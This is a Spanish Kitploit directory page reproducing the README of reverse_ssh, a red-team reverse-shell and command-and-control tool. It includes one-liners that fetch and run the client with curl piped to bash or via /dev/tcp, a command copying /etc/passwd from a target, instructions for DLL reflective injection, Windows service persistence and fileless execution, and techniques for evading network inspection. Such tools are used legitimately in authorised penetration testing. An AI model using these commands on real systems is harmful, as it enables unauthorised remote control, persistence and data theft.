Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
reverse_ssh — Herramienta de gestión de shell inversa basada en SSH con soporte nativo de SCP/SFTP, múltiples protocolos de transporte, generación de DLL para Windows y ejecución sin archivos para operaciones de red team. | Kitploit
Herramientas/GitHubGitHub/nhas/reverse_ssh
ShellcodeGeneración de Shellcode
GitHubnhas/reverse_ssh

reverse_ssh

Herramienta de gestión de shell inversa basada en SSH con soporte nativo de SCP/SFTP, múltiples protocolos de transporte, generación de DLL para Windows y ejecución sin archivos para operaciones de red team.

Ver Repositorio
1.4k18414hace 1 díaRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Reverse SSH

icon
(Crédito artístico a https://www.instagram.com/smart.hedgehog.art/)

¿Quieres usar SSH para shells reversas? Ahora puedes.

  • Administra y conéctate a shells reversas con la sintaxis nativa de SSH
  • Reenvío dinámico, local y remoto
  • Implementaciones nativas de SCP y SFTP para recuperar archivos de tus objetivos
  • Shell completo de Windows
  • Múltiples transportes de red, como http, websockets, tls y más
  • Autenticación mutua de cliente y servidor para crear canales de control de alta confianza ¡Y más!```text +----------------+ +---------+ | | | | | | +---------+ RSSH | | Reverse | | | Client | | SSH server | | | | | | | +---------+ +---------+ | | | | | | | | | Human | SSH | | SSH | +---------+ | Client +-------->+ <-----------------+ | | | | | | | RSSH | +---------+ | | | | Client | | | | | | | | | +---------+ | | | | | | +----------------+ | +---------+ | | | | | RSSH | +---------+ Client | | | +---------+
root@kitploit:~
https://github.com/user-attachments/assets/11dc8d14-59f1-4bdd-9503-b70f8a0d2db1

- [SSH inverso](#reverse-ssh)
  - [TL;DR](#tldr)
    - [Configuración](#setup)
    - [Uso básico](#basic-usage)
  - [Patrocinadores](#sponsors)
    - [Individuos](#individuals)
    - [Empresas](#companies)
  - [Características interesantes](#fancy-features)
    - [Privilegios](#privileges)
    - [Conexión automática de retorno](#automatic-connect-back)
    - [Descarga de shell inversa (generación de cliente y servidor HTTP incorporado)](#reverse-shell-download-client-generation-and-in-built-http-server)
    - [Transportes alternativos (HTTP/Websockets/TLS)](#alternate-transports-httpwebsocketstls)
    - [Autocompletado de Bash](#bash-autocomplete)
    - [Generación de DLL de Windows](#windows-dll-generation)
    - [Subsistemas SSH](#ssh-subsystems)
      - [Todos](#all)
      - [Linux](#linux)
      - [Windows](#windows)
    - [Integración con servicios de Windows](#windows-service-integration)
    - [Soporte completo de shell de Windows](#full-windows-shell-support)
    - [Webhooks](#webhooks)
    - [Tun (VPN)](#tun-vpn)
    - [Ejecución sin archivos (Los clientes admiten descargar dinámicamente ejecutables para ejecutar como shell)](#fileless-execution-clients-support-dynamically-downloading-executables-to-execute-as-shell)
      - [Esquemas de URI admitidos](#supported-uri-schemes)
- [Ayuda](#help)
  - [Windows](#windows-help)
    - [SFTP](#windows-and-sftp)
    - [Errores de generación de sesión (0xc0000142)](#session-spawn-errors-0xc0000142)
  - [Servidor iniciado con `--insecure` aún tiene `Failed to handshake`](#server-started-with---insecure-still-has-failed-to-handshake)
  - [Primer plano vs Segundo plano](#foreground-vs-background)
- [Donaciones, soporte o retribución](#donations-support-or-giving-back)

## TL;DR

### Configuración

Se recomienda la versión Docker, ya que incluye la versión correcta de Golang y un compilador cruzado para Windows.```sh
# Start the server
docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 -e SEED_AUTHORIZED_KEYS="$(cat ~/.ssh/id_ed25519.pub)" -v ./data:/data reversessh/reverse_ssh

o docker compose:```yaml services: reversessh: image: reversessh/reverse_ssh ports: - "3232:2222" environment: - EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 - RSSH_CONSOLE_LABEL=c2.label - RSSH_LOG_LEVEL=INFO # DISABLED, INFO, WARNING, ERROR, FATAL - SEED_AUTHORIZED_KEYS=${SSH_PUBLIC_KEY} volumes: - ./data:/data

root@kitploit:~
### Uso Básico```sh
# Connect to the server console
ssh your.rssh.server.internal -p 3232


# List all server console commands
catcher$ help

# Build a new client and host it on the in-built webserver
catcher$ link
http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25


# curl or wget this binary to a target system then execute it,
curl http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25.sh |  bash

# then we can then list what clients are connected
catcher$ ls
                                 Targets
+------------------------------------------+-----------------------------------+
| IDs                                      | Version                           |
+------------------------------------------+-----------------------------------+
| a0baa1631fe7cfbbfae34eb7a66d46c00d2a161e | SSH-v2.2.3-1-gdf5a3f8-linux_amd64 |
| fe6c52029e37185e4c7d512edd67a6c7694e2995 |                                   |
| dummy.machine                            |                                   |
| 192.168.0.11:34542                       |                                   |
+------------------------------------------+-----------------------------------+

Todos los comandos admiten la opción -h para obtener ayuda.

Luego, los comandos típicos de ssh funcionan, solo especifica tu servidor rssh como host de salto.```sh

Connect to full shell

ssh -J your.rssh.server.internal:3232 dummy.machine

Start remote forward

ssh -R 1234:localhost:1234 -J your.rssh.server.internal:3232 dummy.machine

Start dynamic forward

ssh -D 9050 -J your.rssh.server.internal:3232 dummy.machine

SCP

scp -J your.rssh.server.internal:3232 dummy.machine:/etc/passwd .

root@kitploit:~
## Patrocinadores

Un enorme agradecimiento a las siguientes personas por donar al proyecto RSSH y hacer posible todo esto!

### Individuos
[chikamobina](https://github.com/chikamobina) por sus generosas donaciones!  
[wrighterase (ctrlzero)](https://github.com/wrighterase) por sus pull requests y donación!

### Empresas

[Carapace](https://carapace.nz/) es una consultora de seguridad con sede en Nueva Zelanda con un equipo extremadamente talentoso!  
[<img src="https://assets.kitploit.com/production/public/readmes/5627/b077b138b5108d69a3bcb10eea9d5f195914c9fb4653689923b3a10a1ee38a64.png">](https://carapace.nz/)


## Funciones Fantásticas


### Privilegios
El servidor RSSH admite privilegios de usuario muy básicos, donde los usuarios que se encuentran en la carpeta `data-directory`/`keys` (especificada por `--datadir`) p. ej. `data-directory/keys/jim` serán asignados como un "usuario" solo capaz de ver clientes que sean públicos (que se encuentran en el archivo authorized_controllee_keys sin una etiqueta `owners`, o con una etiqueta `owners` vacía) o específicamente asignados a ellos, p. ej. `owners="jim"`.

Esto se puede cambiar en tiempo de ejecución mediante un usuario que comparta acceso a un cliente que posee con el comando `access`, o un administrador del servidor. De forma predeterminada, cualquier clave pública que se encuentre en el archivo `authorized_keys` será marcada como administrador para mantener la compatibilidad hacia atrás.
Cualquier cambio realizado por el comando `access` no persistirá después de reiniciar el servidor, y esto requerirá editar el archivo `authorized_controllee_keys` para ese cliente específico.

### Conexión automática de retorno

El cliente rssh le permite incrustar una dirección de conexión de retorno.

Por defecto, el comando `link` incrustará la dirección externa del servidor.

Si estás (por alguna razón) compilando manualmente el binario, puedes especificar la variable de entorno `RSSH_HOMESERVER` para incrustarlo en el cliente:```sh
$ RSSH_HOMESERVER=your.rssh.server.internal:3232 make

# Will connect to your.rssh.server.internal:3232, even though no destination is specified
$ bin/client

# Behaviour is otherwise normal; will connect to the supplied host, e.g example.com:3232
$ bin/client -d example.com:3232

Descarga de shell inversa (generación de cliente y servidor HTTP/TCP Raw integrado)

El servidor RSSH puede compilar y alojar binarios de cliente (comando link). Este es el método preferido para compilar y servir clientes. Para que funcione, el servidor debe colocarse en la carpeta bin/ del proyecto, ya que necesita encontrar el código fuente del cliente.

Por defecto, la versión docker tiene todo esto configurado correctamente y se recomienda su uso.```sh ssh your.rssh.server.internal -p 3232

catcher$ link -h

link [OPTIONS] Link will compile a client and serve the resulting binary on a link which is returned. This requires the web server component has been enabled. --fingerprint Set RSSH server fingerprint will default to server public key --garble Use garble to obfuscate the binary (requires garble to be installed) --goarch Set the target build architecture (default runtime GOARCH) --goarm Set the go arm variable (not set by default) --goos Set the target build operating system (default runtime GOOS) --http Use http polling as the underlying transport --https Use https polling as the underlying transport --log-level Set default output logging levels, [INFO,WARNING,ERROR,FATAL,DISABLED] --lzma Use lzma compression for smaller binary at the cost of overhead at execution (requires upx flag to be set) --name Set the link download url/filename (default random characters) --no-lib-c Compile client without glibc --ntlm-proxy-creds Set NTLM proxy credentials in format DOMAIN\USER:PASS --owners Set owners of client, if unset client is public all users. E.g --owners jsmith,ldavidson --proxy Set connect proxy address to bake it --raw-download Download over raw TCP, outputs bash downloader rather than http --shared-object Generate shared object file --sni When TLS is in use, set a custom SNI for the client to connect with --stdio Use stdin and stdout as transport, will disable logging, destination after stdio:// is ignored --tls Use TLS as the underlying transport --upx Use upx to compress the final binary (requires upx to be installed) --use-kerberos Instruct client to try and use kerberos ticket when using a proxy --working-directory Set download/working directory for automatic script (i.e doing curl https://.sh) --ws Use plain http websockets as the underlying transport --wss Use TLS websockets as the underlying transport -C Comment to add as the public key (acts as the name) -l List currently active download links -o Set owners of client, if unset client is public all users. E.g --owners jsmith,ldavidson -r Remove download link -s Set homeserver address, defaults to server --external_address if set, or server listen address if not

Generate a client and serve it on a named link

catcher$ link --name test http://your.rssh.server.internal:3232/test

root@kitploit:~
Luego puedes descargarlo de la siguiente manera:```sh
wget http://your.rssh.server.internal:3232/test
chmod +x test
./test

O puedes usar raw tcp para descargar el binario del cliente:```sh bash -c "exec 3<>/dev/tcp/your.rssh.server.internal/3232; echo RAWtest>&3; cat <&3" > test

root@kitploit:~
El formato para esto es simplemente `RAW` seguido del nombre del archivo, es decir, en este caso `test`, rssh puede autogenerarlo para ti con `--raw-download`.

El servidor RSSH también soporta las terminaciones de ruta URL `.sh`, `.py` y `.ps1` que generarán un script que puedes canalizar a un intérprete:```sh
curl http://your.rssh.server.internal:3232/test.sh | sh

Transportes Alternativos (HTTP/Websockets/TLS)

El servidor y cliente SSH inverso soportan múltiples transportes para cuando la inspección profunda de paquetes bloquea SSH saliente desde un host o red. Puedes especificar el esquema de conexión de retorno manualmente especificándolo como una URL en el cliente.

Por ejemplo```sh ./client -d ws://your.rssh.server:3232

root@kitploit:~
O integrándolo con el comando `link`.```sh
ssh your.rssh.server -p 3232 link --ws --name test

Autocompletado de Bash

El servidor RSSH tiene el comando autocomplete que se integra bien con bash para que puedas tener autocompletados cuando no usas la consola del servidor. Para instalarlos simplemente haces:```sh ssh your.rssh.server.internal -p 3232 autocomplete --shell-completion your.rssh.server.internal:3232

root@kitploit:~
Y esto devolverá un autocompletado que puede añadirse a tu `.zshrc` o `.bashrc`

P. ej.```sh
_RSSHCLIENTSCOMPLETION()
{
    local cur=${COMP_WORDS[COMP_CWORD]}
    COMPREPLY=( $(compgen -W "$(ssh your.rssh.server.internal -p 3232 autocomplete --clients)" -- $cur) )
}

_RSSHFUNCTIONSCOMPLETIONS()
{
    local cur=${COMP_WORDS[COMP_CWORD]}
    COMPREPLY=( $(compgen -W "$(ssh your.rssh.server.internal -p 3232 help -l)" -- $cur) )
}

complete -F _RSSHFUNCTIONSCOMPLETIONS ssh your.rssh.server.internal -p 3232 

complete -F _RSSHCLIENTSCOMPLETION ssh -J your.rssh.server.internal:3232

complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 exec 
complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 connect 
complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 listen -c 
complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 kill 

Permitiéndote hacer completaciones directamente desde tu terminal:```sh

Will give you an option based on what clients are connected

ssh -J your.rssh.server.internal:3232

root@kitploit:~
### Generación de DLL de Windows

Puedes compilar el cliente como una DLL para cargarlo con algo como [Invoke-ReflectivePEInjection](https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1). Lo cual es útil cuando quieres realizar una inyección sin archivos del cliente rssh.

Esto requerirá un compilador cruzado si lo haces en linux, usa `mingw-w64-gcc`, esto está incluido en la release de docker.```bash
# Using the link command
catcher$ link --goos windows --shared-object --name windows_dll
http://your.rssh.server.internal:3232/windows_dll

# If building manually
CC=x86_64-w64-mingw32-gcc GOOS=windows RSSH_HOMESERVER=192.168.1.1:2343 make client_dll

Subsystems SSH

El protocolo SSH admite llamar a subsistemas con la bandera -s. En RSSH, esto se reutiliza para proporcionar comandos especiales para plataformas y soporte sftp.

Todos

list Lista los subsistemas disponibles

sftp: Ejecuta el manejador sftp para transferir archivos

Linux

setgid: Intenta cambiar el grupo

setuid: Intenta cambiar el usuario

Windows

service: Instala o elimina el binario rssh como un servicio de Windows, requiere derechos administrativos

p.ej.```sh

Install the rssh binary as a service (windows only)

ssh -J your.rssh.server.internal:3232 test-pc.user.test-pc -s service --install

root@kitploit:~
### Integración con Servicio de Windows

El binario cliente RSSH admite ejecutarse dentro de un servicio de Windows y no expirará después de 10 segundos. Esto es excelente para crear servicios de gestión persistentes.

### Soporte Completo de Shell de Windows

La mayoría de las shells inversas para Windows tienen dificultades para generar un entorno de shell que admita redimensionamiento, copiar y pegar y todas las demás características que tanto apreciamos.
Este proyecto utiliza `conpty` en versiones más nuevas de Windows, y la biblioteca `winpty` (que se descomprime automáticamente) en versiones antiguas. Esto debería significar que casi todas las versiones de Windows te proporcionarán una buena shell.

### Webhooks

El servidor RSSH puede enviar solicitudes HTTP sin procesar configuradas mediante el comando `webhook` desde la interfaz de terminal.

Primero habilite un webhook:```bash
$ ssh your.rssh.server.internal -p 3232
catcher$ webhook --on http://localhost:8080/

Luego desconecte, o conecte un cliente; esto hará que se emita una solicitud POST con el siguiente formato.```bash $ nc -l -p 8080 POST /rssh_webhook HTTP/1.1 Host: localhost:8080 User-Agent: Go-http-client/1.1 Content-Length: 165 Content-Type: application/json Accept-Encoding: gzip

{"Status":"connected","ID":"ae92b6535a30566cbae122ebb2a5e754dd58f0ca","IP":"[::1]:52608","HostName":"user.computer","Timestamp":"2022-06-12T12:23:40.626775318+12:00"}%

root@kitploit:~
Como nota adicional, utilice el endpoint `/slack` si conecta esto a discord.

### Tun (VPN)

RSSH y SSH permiten crear interfaces tuntap que te permiten enrutar tráfico y crear una pseudo-VPN. Requiere un poco más de configuración que solo un forward local o remoto (`-L`, `-R`), pero en este modo puedes enviar `UDP` e `ICMP`.

#### Aviso importante

Si te conectas a un cliente RSSH malicioso, podrá conectarse de vuelta a tu dispositivo de túnel. Por lo tanto, es importante no tener el forwarding habilitado, y tener reglas de firewall para detener cualquier conexión a la máquina local, o ejecutar esto desde un contenedor/netns.

Instala un cliente en una máquina remota, esto no funcionará si tienes tu cliente RSSH en el mismo host que tu dispositivo tun.```sh
sudo ssh -J your.rssh.server.internal:3232 user.wombo -w 0:any

sudo ip link set dev tun0 up
sudo ip route add 0.0.0.0/0 dev tun0

Esto tiene algunas limitaciones, solo puede enviar UDP/TCP/ICMP, y no protocolos arbitrarios de capa 3. ICMP es de mejor esfuerzo y puede usar la herramienta ping del host remoto, ya que los sockets ICMP son privilegiados en la mayoría de las máquinas. Esto tampoco admite dispositivos tap, por ejemplo VPN de capa 2, ya que esto requeriría acceso administrativo.

Ejecución sin archivos (Los clientes admiten la descarga dinámica de ejecutables para ejecutarlos como shell)

Al especificar qué ejecutable debe ejecutar el binario rssh, ya sea al conectarse con una sesión PTY completa o ejecución directa, el cliente admite esquemas URI para descargar ejecutables desde fuera del host.

Por ejemplo.```sh connect --shell https://your.host/program <rssh_client_id> ssh -J your.rssh.server:3232 <rssh_client_id> https://your.host/program

root@kitploit:~
#### Esquemas de URI compatibles

`http/https`: Descarga web pura

`rssh`: Descarga a través del servidor rssh

El servidor rssh servirá contenido desde el directorio `downloads` en el directorio de trabajo del ejecutable.

Ambos métodos utilizarán oportunistamente [memfd](https://man7.org/linux/man-pages/man2/memfd_create.2.html) el cual no escribirá ningún ejecutable en disco.

# Ayuda

## Windows

### SFTP

Debido a las limitaciones de SFTP (o más bien de la librería que estoy usando para ello). Las rutas requieren un poco más de esfuerzo en Windows.```sh
sftp -r -J your.rssh.server.internal:3232 test-pc.user.test-pc:'/C:/Windows/system32'

Errores de generación de sesión (0xc0000142)

En algunas circunstancias de ejecución, la conexión a un cliente RSSH en windows puede fallar sin error.```sh catcher$ connect windows-system Session has terminated.

root@kitploit:~
Registros del cliente:```sh
2025/08/24 18:25:39 [client] INFO session.go:52 func16() : Session got request: "shell"
2025/08/24 18:25:39 [client] INFO shell_windows.go:137 runWithConpty() : New process with pid 3427 spawned
2025/08/24 18:25:39 [client] INFO session.go:122 func16() : Session disconnected

Hay dos causas comunes para esto, la primera es que el antivirus ha eliminado el powershell creado, y la otra 0xc0000142 es cuando el proceso resultante no tiene permisos para acceder a la Estación de trabajo o Escritorio de Windows fuente.

Para determinar cuál está causando este problema, ejecute cualquier comando sin un pty:```sh ssh -J rssh windows-system cmd /c dir
exit status 0xc0000142

root@kitploit:~
Si ves el código de error `0xc0000142` intenta iniciar `CMD.exe` y forzar la asignación de una pty (`-t`):```sh
ssh -t -J rssh windows-system CMD.exe

Esto debería iniciar un shell interactivo.

Servidor iniciado con --insecure aún muestra Failed to handshake

Si el binario del cliente fue generado con el comando link, este cliente tiene la huella digital de la clave pública del servidor incorporada por defecto. Si pierdes tu clave privada del servidor, los clientes ya no podrán conectarse. También puedes generar clientes con link --fingerprint <huella aquí> para especificar una huella digital. Actualmente no hay forma de deshabilitar esto a partir de la versión 1.0.13.

Primer plano vs Segundo plano

Por defecto, los clientes se ejecutan en segundo plano y luego el proceso padre termina; el proceso hijo recibirá stdout/stderr del proceso padre, por lo que podrás ver la salida. Si necesitas depurar tu cliente, usa la opción --foreground.

Donaciones, Soporte o Retribución

La forma más sencilla de retribuir al proyecto RSSH es reportando errores, abriendo solicitudes de funcionalidades y recomendándolo de boca en boca a personas que creas que lo encontrarán útil.

Sin embargo, si deseas retribuirme directamente, puedes hacerlo a través de Kofi o GitHub Sponsors (en "Sponsor this Project" en el lado derecho). O donarme enviando a cualquiera de las siguientes billeteras:

Monero (XMR): 8A8TRqsBKpMMabvt5RxMhCFWcuCSZqGV5L849XQndZB4bcbgkenH8KWJUXinYbF6ySGBznLsunrd1WA8YNPiejGp3FFfPND Bitcoin (BTC): bc1qm9e9sfrm7l7tnq982nrm6khnsfdlay07h0dxfr

Descargar herramienta